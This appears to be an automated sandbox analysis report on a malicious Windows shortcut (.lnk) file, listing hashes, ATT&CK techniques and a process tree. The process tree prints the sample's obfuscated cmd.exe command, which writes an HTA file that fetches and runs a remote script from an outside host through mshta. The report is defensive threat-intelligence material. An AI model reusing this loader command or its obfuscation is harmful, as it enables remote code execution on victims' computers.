6e8a08d6caf0e0ad6a555da452f403b0bcf2e8fdf8f968130eda3686a4e1555f

Analysis

max time kernel
121s
max time network
125s
platform
windows7_x64
resource
win7-20240221-en
resource tags

arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
submitted
02-04-2024 14:22

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General

Target

599151.301.25077.7868139.lnk
Size

561B
MD5

57050773638b46dfc5f60930cd1cb266
SHA1

3219f88ea28c525eb35050939d2ecb01d6fa7282
SHA256

7ae01fd7aa0b5898eb36548024f2cc8156216322ea6402eb8f04180adfc9539d
SHA512

181885faf9a655befaa6755fd003fd674e1ccf201c6718e9693754f4d5704230d62982430997b9dd85eee9f9139997cd67ea7c9c171f91f245eaa497e9796712

Score

5^/10

Malware Config

Signatures

Drops file in System32 directory 1 IoCs

Processes:

powershell.exe

description	ioc	process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Modifies Internet Explorer settings 1 TTPs 1 IoCs
adware spyware

Modify Registry
T1112

Processes:

mshta.exe

description ioc process

Key created \REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000\Software\Microsoft\Internet Explorer\Main mshta.exe
Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

powershell.exe

pid process

2624 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 2624 powershell.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

pid	process
2624	powershell.exe

description	pid	process
Token: SeDebugPrivilege	2624	powershell.exe

Suspicious use of WriteProcessMemory 13 IoCs

Processes:

cmd.execmd.exepowershell.exe

description	pid	process	target process
PID 2764 wrote to memory of 2576	2764	cmd.exe	cmd.exe
PID 2764 wrote to memory of 2576	2764	cmd.exe	cmd.exe
PID 2764 wrote to memory of 2576	2764	cmd.exe	cmd.exe
PID 2576 wrote to memory of 2588	2576	cmd.exe	cmd.exe
PID 2576 wrote to memory of 2588	2576	cmd.exe	cmd.exe
PID 2576 wrote to memory of 2588	2576	cmd.exe	cmd.exe
PID 2576 wrote to memory of 2624	2576	cmd.exe	powershell.exe
PID 2576 wrote to memory of 2624	2576	cmd.exe	powershell.exe
PID 2576 wrote to memory of 2624	2576	cmd.exe	powershell.exe
PID 2624 wrote to memory of 2384	2624	powershell.exe	mshta.exe
PID 2624 wrote to memory of 2384	2624	powershell.exe	mshta.exe
PID 2624 wrote to memory of 2384	2624	powershell.exe	mshta.exe
PID 2624 wrote to memory of 2384	2624	powershell.exe	mshta.exe

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\599151.301.25077.7868139.lnk
1⤵
- Suspicious use of WriteProcessMemory
PID:2764

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /V/D/c "seT sKk=script&&seT px=powershell&&SEt NEGG=C:\Users\Public\Videos\^YqW&&SEt SMO=.H&&SEt XQGZ=^<!sKk!^>try{v6POar c='!sKk!:';d='h6POTtP:';G6POetObj6POect(c+d+'&&sET FIC=ZXEFMZXEFMwaa8.nolii.dateZXEFM?1ZXEFM');}catch(e){}close();^</!sKk!^>&&sEt/^p YE8N="%XQGZ:6PO=%%FIC:ZXEFM=/%"<nul > %NEGG%%SMO%ta|!px! -Command "& '!NEGG!!SMO!ta' "
2⤵
- Suspicious use of WriteProcessMemory
PID:2576

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" sEt/p YE8N="%XQGZ:6PO=%%FIC:ZXEFM=/%" 0<nul 1>%NEGG%%SMO%ta"
3⤵
PID:2588

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -Command "& 'C:\Users\Public\Videos\YqW.Hta'
3⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2624

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Public\Videos\YqW.Hta"
4⤵
- Modifies Internet Explorer settings
PID:2384

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Public\Videos\YqW.Hta

Filesize
105B

MD5
8242e1808eac09b7264a697fc98c2f37

SHA1
34a5dca8f5eeb3edb9a73f0e544be74049506325

SHA256
c43738a850d1ae9d59f39d592cdc3faca6a327735dbaaa9c979b5036dba72937

SHA512
09906f3479661b52fe980e54cca55bbe67aa5a01c912d414d77fe11e6eb7ed6a3c4c5ae5abb991734e657219a8a7164d655a2106913330cea9a7014746f29d6d

Download Submit
memory/2624-44-0x000007FEF57A0000-0x000007FEF613D000-memory.dmp

Filesize
9.6MB

Download
memory/2624-45-0x0000000002490000-0x0000000002510000-memory.dmp

Filesize
512KB

Download
memory/2624-46-0x000000001B1D0000-0x000000001B4B2000-memory.dmp

Filesize
2.9MB

Download
memory/2624-48-0x0000000002560000-0x0000000002568000-memory.dmp

Filesize
32KB

Download
memory/2624-47-0x0000000002490000-0x0000000002510000-memory.dmp

Filesize
512KB

Download
memory/2624-49-0x0000000002490000-0x0000000002510000-memory.dmp

Filesize
512KB

Download
memory/2624-51-0x000007FEF57A0000-0x000007FEF613D000-memory.dmp

Filesize
9.6MB

Download